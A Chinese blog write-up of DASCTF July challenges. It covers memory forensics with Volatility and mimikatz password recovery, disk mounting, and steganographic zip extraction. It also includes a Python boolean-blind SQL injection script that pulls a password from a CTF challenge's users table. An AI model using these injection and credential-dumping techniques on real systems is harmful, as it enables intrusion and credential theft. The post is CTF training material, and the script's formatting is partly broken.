• [DASCTF 7月赛] 复现


    ez_forenisc

    获取内存镜像的摘要信息,比如系统版本: imageinfo

    查看进程信息: pslist

    python2 vol.py -f pc.raw --profile=Win7SP1x64 pslist

    扫描 cmd命令使用情况: cmdscan

    python2 vol.py -f pc.raw --profile=Win7SP1x64 cmdscan
    

     提示说有屏幕截图

    查看屏幕截图: 

    python2 vol.py -f pc.raw --profile=Win7SP1x64 screenshot --dump-dir=./
    

     文件名是thes3cret 

    查找文件: filescan 、grep

    python2 vol.py -f pc.raw --profile=Win7SP1x64 filescan | grep 'thes3cret'

    导出文件:dumpfiles

    python2 vol.py -f pc.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000003eeb4650 -D ./ 

     发现密文

    查看明文密码: mimikatz 

      

    550f37c7748e 

    挂载pc.vmdk

    FTK Imager 打开后Mount 该文件

     

     再用efdd 打开,配合pc.raw挂载

     

     

     挂载成功到F盘

     

     

     可以打开文件了

    一个png ,用zsteg打开能看见有个zip,提取出来

     

    压缩包密码就是上面 的admin密码550f37c7748e 

     

     这串数字是八进制 ,也可直接ciphey

    得到了密钥 358daebef0b7d 

    上面也得到了密文U2Fs.... 是AES密文

    绝对防御

    源码找可疑路径

    访问后有源码,有过滤 

     

    1. import requests
    2. import time
    3. def getDatabase():
    4. ans=''
    5. for i in range(1,1000):
    6. low = 32
    7. high = 128
    8. mid = (low+high)//2
    9. while low < high:
    10. #sql="select database()"
    11. sql="select group_concat(table_name) from information_schema.tables where table_schema=database()"
    12. sql="select group_concat(column_name) from information_schema.columns where table_name='users'"
    13. sql="select password from ctf.users where id=2"
    14. //flag在id为2的表里
    15. payload= "1 and (ascii(substr(({}),{},1))<{})#".format(sql,i,mid)
    16. res = requests.post("http://994a7e03-36fb-43b4-9bfe-640cc35ce531.node4.buuoj.cn:81//SUPPERAPI.php?id="+payload)
    17. # print(payload)
    18. # print(res.text.split("\n")[-1])
    19. if "admin" in res.text:
    20. high = mid
    21. else:
    22. low = mid+1
    23. mid=(low+high)//2
    24. if mid <= 32 or mid >= 127:
    25. break
    26. time.sleep(1)
    27. ans += chr(mid-1)
    28. print("res is -> "+ans)
    29. getDatabase()

  • 相关阅读:
    Go基础(待更新)
    OSINT技术情报精选·2024年5月第4周
    [正则表达式]python
    爬虫基本原理介绍、实现以及问题解决
    react源码中的fiber架构
    P3743 kotori的设备
    git 构建报错
    小程序开发的费用简介篇
    嵌入式实操----基于RT1170 QSPI Flash下载算法开发实践(二十六)
    Spark基础【RDD单Value类型转换算子】
  • 原文地址:https://blog.csdn.net/qq_61768489/article/details/125970750